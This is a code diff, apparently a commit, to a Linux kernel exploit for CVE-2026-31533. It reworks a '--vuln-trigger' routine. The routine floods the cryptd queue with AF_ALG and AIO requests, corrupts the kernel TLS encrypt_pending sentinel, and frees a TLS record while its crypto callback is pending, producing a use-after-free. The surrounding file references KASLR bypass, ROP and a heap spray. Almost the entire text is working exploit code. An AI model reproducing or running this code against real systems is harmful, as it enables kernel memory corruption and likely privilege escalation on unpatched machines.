@@ -401,130 +401,183 @@ size_t bypass_kaslr(void)
401401 }
402402}
403403
404+ static int vt_env (const char * k , int d ) { const char * v = getenv (k ); return v ? atoi (v ) : d ; }
405+
406+ /* Arm one AF_ALG op fd with a pending encrypt (one cryptd request). Large data
407+ * keeps the op in flight long enough for the burst to overflow the queue. */
408+ static void vt_arm (int op_fd )
409+ {
410+ char cbuf [CMSG_SPACE (4 ) + CMSG_SPACE (20 )];
411+ memset (cbuf , 0 , sizeof (cbuf ));
412+ struct msghdr msg = {};
413+ msg .msg_control = cbuf ; msg .msg_controllen = sizeof (cbuf );
414+ struct iovec iov = { g_buf , 0x10000 };
415+ msg .msg_iov = & iov ; msg .msg_iovlen = 1 ;
416+ struct cmsghdr * cm = CMSG_FIRSTHDR (& msg );
417+ cm -> cmsg_level = SOL_ALG ; cm -> cmsg_type = ALG_SET_OP ;
418+ cm -> cmsg_len = CMSG_LEN (4 );
419+ * (uint32_t * )CMSG_DATA (cm ) = ALG_OP_ENCRYPT ;
420+ cm = CMSG_NXTHDR (& msg , cm );
421+ cm -> cmsg_level = SOL_ALG ; cm -> cmsg_type = ALG_SET_IV ;
422+ cm -> cmsg_len = CMSG_LEN (20 );
423+ ((struct af_alg_iv * )CMSG_DATA (cm ))-> ivlen = 8 ;
424+ sendmsg (op_fd , & msg , 0 );
425+ }
426+
427+ static int vt_make_tls (int * client_out , int * server_out )
428+ {
429+ int serv = socket (AF_INET , SOCK_STREAM , IPPROTO_TCP );
430+ int flag = 1 ;
431+ setsockopt (serv , SOL_SOCKET , SO_REUSEADDR , & flag , sizeof (flag ));
432+ struct sockaddr_in addr = {};
433+ addr .sin_family = AF_INET ;
434+ addr .sin_addr .s_addr = inet_addr ("127.0.0.1" );
435+ addr .sin_port = htons (SERVER_PORT );
436+ if (bind (serv , (struct sockaddr * )& addr , sizeof (addr )) < 0 ) { close (serv ); return -1 ; }
437+ listen (serv , 1 );
438+ int client = socket (AF_INET , SOCK_STREAM , IPPROTO_TCP );
439+ if (connect (client , (struct sockaddr * )& addr , sizeof (addr )) < 0 ) { close (serv ); close (client ); return -1 ; }
440+ socklen_t sz = sizeof (addr );
441+ int server = accept (serv , (struct sockaddr * )& addr , & sz );
442+ close (serv );
443+ setsockopt (client , SOL_TCP , TCP_ULP , "tls" , sizeof ("tls" ));
444+ struct tls12_crypto_info_aes_ccm_128 info ;
445+ memset (& info , 0 , sizeof (info ));
446+ info .info .version = TLS_1_2_VERSION ;
447+ info .info .cipher_type = TLS_CIPHER_AES_CCM_128 ;
448+ setsockopt (client , SOL_TLS , TLS_TX , & info , sizeof (info ));
449+ setsockopt (client , SOL_TLS , TLS_RX , & info , sizeof (info ));
450+ * client_out = client ; * server_out = server ;
451+ return 0 ;
452+ }
453+
404454/* ========================================================================
405455 * --vuln-trigger: reach the use-after-free on a KASAN build, without KASLR,
406- * ROP or the heap spray. Corrupt the encrypt_pending sentinel, then free the
407- * tls_rec while a cryptd callback is still pending; the callback fires on the
408- * freed record and KASAN reports the UAF. On a patched kernel this is benign.
456+ * ROP or the heap spray.
457+ *
458+ * A finite burst of AF_ALG (MAY_BACKLOG) crypto ops momentarily overflows the
459+ * per-CPU cryptd queue (cap = cryptd_max_cpu_qlen = 1000). With a pending TLS
460+ * record and sk_err set, the cmsg push then hits crypto_aead_encrypt() ==
461+ * -EBUSY, the async callback observes sk_err and double-decrements the
462+ * encrypt_pending sentinel; freeing the tls_rec while a callback is still
463+ * pending yields the UAF that KASAN reports. Because the burst is finite, the
464+ * queue drains afterwards so the backlogged op completes (no permanent hang).
465+ * Tunables: VT_N (op fds), VT_DELAY (us after io_submit), VT_RETRY.
409466 * ======================================================================== */
410467static void vuln_trigger (void )
411468{
412- struct rlimit rlim = { .rlim_cur = 0x8000 , .rlim_max = 0x8000 };
413- setrlimit (RLIMIT_NOFILE , & rlim );
469+ struct rlimit rl ;
470+ getrlimit (RLIMIT_NOFILE , & rl );
471+ rl .rlim_cur = rl .rlim_max ; /* raise soft to hard (no privilege needed) */
472+ setrlimit (RLIMIT_NOFILE , & rl );
473+
474+ int budget = (int )rl .rlim_cur - 16 ;
475+ int N = vt_env ("VT_N" , budget > 1010 ? 1010 : budget );
476+ int delay = vt_env ("VT_DELAY" , 40000 );
477+ int retry = vt_env ("VT_RETRY" , 40 );
478+
414479 pin_cpu (0 );
415480 force_cryptd ();
416481 cmsg_init ();
417- pthread_barrier_init (& g_barrier , NULL , THREAD_COUNT + 1 );
418- printf ("=== CVE-2026-31533 --vuln-trigger (KASAN) ===\n" );
419-
420- /* TCP pair + kernel TLS */
421- int client , server ;
422- {
423- int serv = socket (AF_INET , SOCK_STREAM , IPPROTO_TCP );
424- int flag = 1 ;
425- setsockopt (serv , SOL_SOCKET , SO_REUSEADDR , & flag , sizeof (flag ));
426- struct sockaddr_in addr = {
427- .sin_family = AF_INET ,
428- .sin_addr .s_addr = inet_addr ("127.0.0.1" ),
429- .sin_port = htons (SERVER_PORT ),
430- };
431- bind (serv , (struct sockaddr * )& addr , sizeof (addr ));
432- listen (serv , 1 );
433- client = socket (AF_INET , SOCK_STREAM , IPPROTO_TCP );
434- connect (client , (struct sockaddr * )& addr , sizeof (addr ));
435- socklen_t sz = sizeof (addr );
436- server = accept (serv , (struct sockaddr * )& addr , & sz );
437- close (serv );
438- setsockopt (client , SOL_TCP , TCP_ULP , "tls" , sizeof ("tls" ));
439- struct tls12_crypto_info_aes_ccm_128 info ;
440- memset (& info , 0 , sizeof (info ));
441- info .info .version = TLS_1_2_VERSION ;
442- info .info .cipher_type = TLS_CIPHER_AES_CCM_128 ;
443- setsockopt (client , SOL_TLS , TLS_TX , & info , sizeof (info ));
444- setsockopt (client , SOL_TLS , TLS_RX , & info , sizeof (info ));
482+ printf ("=== CVE-2026-31533 --vuln-trigger (KASAN) N=%d delay=%dus retry=%d nofile=%lu ===\n" ,
483+ N , delay , retry , (unsigned long )rl .rlim_cur );
484+
485+ struct sockaddr_alg sa = {};
486+ sa .salg_family = AF_ALG ;
487+ strcpy ((char * )sa .salg_type , "skcipher" );
488+ strcpy ((char * )sa .salg_name , "cryptd(rfc3686(ctr(aes-generic)))" );
489+ int * op = calloc (N , sizeof (int ));
490+ int made = 0 ;
491+ for (int i = 0 ; i < N ; i ++ ) {
492+ int a = socket (AF_ALG , SOCK_SEQPACKET , 0 );
493+ if (a < 0 ) break ;
494+ if (bind (a , (struct sockaddr * )& sa , sizeof (sa )) < 0 ) { close (a ); break ; }
495+ setsockopt (a , SOL_ALG , ALG_SET_KEY , g_buf , 20 );
496+ op [i ] = accept (a , NULL , 0 );
497+ close (a );
498+ if (op [i ] < 0 ) break ;
499+ made = i + 1 ;
445500 }
446-
447- /* AF_ALG op sockets + AIO + worker flood to saturate the cryptd queue */
448- int * op_fds = calloc (TOTAL_ALG , sizeof (int ));
449- pthread_t * tids = calloc (THREAD_COUNT , sizeof (pthread_t ));
450- struct drain_arg * dargs = calloc (THREAD_COUNT , sizeof (struct drain_arg ));
451- {
452- struct sockaddr_alg sa = {
453- .salg_family = AF_ALG , .salg_type = "skcipher" ,
454- .salg_name = "cryptd(rfc3686(ctr(aes-generic)))"
455- };
456- char cbuf [CMSG_SPACE (4 ) + CMSG_SPACE (20 )];
457- memset (cbuf , 0 , sizeof (cbuf ));
458- struct msghdr msg = { .msg_control = cbuf , .msg_controllen = sizeof (cbuf ) };
459- struct iovec iov = { .iov_base = g_buf , .iov_len = 0x10000 };
460- msg .msg_iov = & iov ; msg .msg_iovlen = 1 ;
461- struct cmsghdr * cm = CMSG_FIRSTHDR (& msg );
462- cm -> cmsg_level = SOL_ALG ; cm -> cmsg_type = ALG_SET_OP ;
463- cm -> cmsg_len = CMSG_LEN (4 );
464- * (uint32_t * )CMSG_DATA (cm ) = ALG_OP_ENCRYPT ;
465- cm = CMSG_NXTHDR (& msg , cm );
466- cm -> cmsg_level = SOL_ALG ; cm -> cmsg_type = ALG_SET_IV ;
467- cm -> cmsg_len = CMSG_LEN (20 );
468- ((struct af_alg_iv * )CMSG_DATA (cm ))-> ivlen = 8 ;
469- for (int i = 0 ; i < TOTAL_ALG ; i ++ ) {
470- int af = socket (AF_ALG , SOCK_SEQPACKET , 0 );
471- bind (af , (struct sockaddr * )& sa , sizeof (sa ));
472- setsockopt (af , SOL_ALG , ALG_SET_KEY , g_buf , 20 );
473- op_fds [i ] = accept (af , NULL , 0 );
474- sendmsg (op_fds [i ], & msg , 0 );
475- close (af );
501+ printf ("[*] %d cryptd op fds (queue cap ~1000)\n" , made );
502+
503+ io_context_t ctx ;
504+ memset (& ctx , 0 , sizeof (ctx ));
505+ io_setup (made + 8 , & ctx );
506+ struct iocb * cb = calloc (made + 2 , sizeof (* cb ));
507+ struct iocb * * pp = calloc (made + 2 , sizeof (* pp ));
508+
509+ for (int attempt = 1 ; attempt <= retry ; attempt ++ ) {
510+ /* arm every op fd + prep one AIO read each */
511+ for (int i = 0 ; i < made ; i ++ ) {
512+ vt_arm (op [i ]);
513+ pp [i ] = & cb [i ];
514+ io_prep_pread (& cb [i ], op [i ], g_buf , 1 , 0 );
476515 }
477- }
478- io_context_t aio_ctx ;
479- memset (& aio_ctx , 0 , sizeof (aio_ctx ));
480- io_setup (AIO_COUNT + 4 , & aio_ctx );
481- struct iocb * iocbs = calloc (AIO_COUNT , sizeof (struct iocb ));
482- struct iocb * * ptrs = calloc (AIO_COUNT , sizeof (struct iocb * ));
483- for (int i = 0 ; i < AIO_COUNT ; i ++ ) {
484- ptrs [i ] = & iocbs [i ];
485- io_prep_pread (& iocbs [i ], op_fds [i ], g_buf , 1 , 0 );
486- }
487- for (int i = 0 ; i < THREAD_COUNT ; i ++ ) {
488- dargs [i ].op_fd = op_fds [AIO_COUNT + i ];
489- dargs [i ].barrier = & g_barrier ;
490- pthread_create (& tids [i ], NULL , drain_thread , & dargs [i ]);
491- }
492516
493- /* Pending record + sk_err (peer sends bad ciphertext, we recv it) */
494- send (client , g_buf , 0x7000 - 29 , 0 );
495- send (client , g_buf , 0xfd3 , MSG_MORE );
496- {
517+ int client , server ;
518+ if (vt_make_tls (& client , & server ) < 0 ) { usleep (50000 ); continue ; }
519+
520+ /* craft the scatterlist layout + a pending record, set sk_err */
521+ send (client , g_buf , 0x7000 - 29 , 0 );
522+ send (client , g_buf , 0xfd3 , MSG_MORE );
497523 unsigned char fake [5 + 64 ];
498- fake [0 ] = 0x17 ; fake [1 ] = 0x03 ; fake [2 ] = 0x03 ;
499- fake [3 ] = 0x00 ; fake [4 ] = 64 ;
524+ fake [0 ] = 0x17 ; fake [1 ] = 0x03 ; fake [2 ] = 0x03 ; fake [3 ] = 0x00 ; fake [4 ] = 64 ;
500525 memset (fake + 5 , 0xCC , 64 );
501526 send (server , fake , sizeof (fake ), 0 );
502527 usleep (10000 );
503- char rxbuf [256 ];
504- recv (client , rxbuf , sizeof (rxbuf ), MSG_DONTWAIT );
505- }
528+ char rx [256 ];
529+ recv (client , rx , sizeof (rx ), MSG_DONTWAIT );
530+
531+ /* burst-fill the per-CPU cryptd queue, then push the pending record */
532+ io_submit (ctx , made , pp );
533+ usleep (delay );
534+ int ret = tls_push_via_cmsg (client );
535+ if (attempt <= 3 || ret < 0 )
536+ printf ("[*] attempt %d/%d: cmsg push = %d (%s)\n" ,
537+ attempt , retry , ret , ret < 0 ? strerror (- ret ) : "ok" );
538+
539+ if (ret < 0 && - ret != EAGAIN && - ret != EINPROGRESS ) {
540+ printf ("[+] sentinel corrupted (err %d); triggering dangling callback (UAF)...\n" , - ret );
541+ int se = 0 ; socklen_t sl = sizeof (se );
542+ getsockopt (client , SOL_SOCKET , SO_ERROR , & se , & sl ); /* clear sk_err */
543+
544+ /* Phase 2: with encrypt_pending == 0, tls_encrypt_async_wait no
545+ * longer waits. Re-saturate the cryptd queue and submit one more
546+ * async TLS encrypt: the record is freed (bpf_exec_tx_verdict ->
547+ * tls_free_open_rec) while its cryptd callback is still pending.
548+ * No heap spray here, so the callback fires on the KASAN-poisoned
549+ * freed tls_rec -> use-after-free report. */
550+ for (int i = 0 ; i < made ; i ++ ) {
551+ vt_arm (op [i ]);
552+ io_prep_pread (& cb [i ], op [i ], g_buf , 1 , 0 );
553+ pp [i ] = & cb [i ];
554+ }
555+ io_prep_pwrite (& cb [made ], client , g_buf , 64 , 0 ); /* async TLS encrypt */
556+ pp [made ] = & cb [made ];
557+ io_submit (ctx , made + 1 , pp );
558+ sleep (3 ); /* let the dangling cryptd callback fire on freed memory */
559+ close (client );
560+ close (server );
561+ sleep (2 );
562+ printf ("[*] vuln-trigger done\n" );
563+ return ;
564+ }
506565
507- /* Race: saturate the queue + cmsg push -> double-decrement -> sentinel=0 */
508- sleep (1 );
509- io_submit (aio_ctx , AIO_COUNT , ptrs );
510- pthread_barrier_wait (& g_barrier );
511- int ret = tls_push_via_cmsg (client );
512- printf ("[*] cmsg push = %d (%s)\n" , ret , ret < 0 ? strerror (- ret ) : "ok" );
513- if (ret >= 0 || - ret == EAGAIN || - ret == EINPROGRESS ) {
514- printf ("[-] race lost; re-run --vuln-trigger\n" );
515- return ;
566+ /* drain the burst so backlogged ops complete before we close/retry
567+ * (otherwise tls_sk_proto_close would block in tls_encrypt_async_wait) */
568+ struct io_event ev [256 ];
569+ struct timespec ts = { 3 , 0 };
570+ int got = 0 ;
571+ while (got < made ) {
572+ int n = io_getevents (ctx , 1 , 256 , ev , & ts );
573+ if (n <= 0 ) break ;
574+ got += n ;
575+ }
576+ close (client );
577+ close (server );
516578 }
517- printf ("[+] sentinel corrupted; freeing tls_rec with pending callback (UAF)...\n" );
518-
519- /* Clear sk_err, then free the record while a callback is still pending. */
520- int so_err = 0 ; socklen_t sl = sizeof (so_err );
521- getsockopt (client , SOL_SOCKET , SO_ERROR , & so_err , & sl );
522- close (client );
523- close (server );
524- sleep (3 );
525- printf ("[*] vuln-trigger done\n" );
579+ printf ("[-] no -EBUSY after %d attempts; re-run --vuln-trigger\n" , retry );
526580}
527-
528581/* ───────────────── Main ───────────────── */
529582
530583int main (int argc , char * * argv )
0 commit comments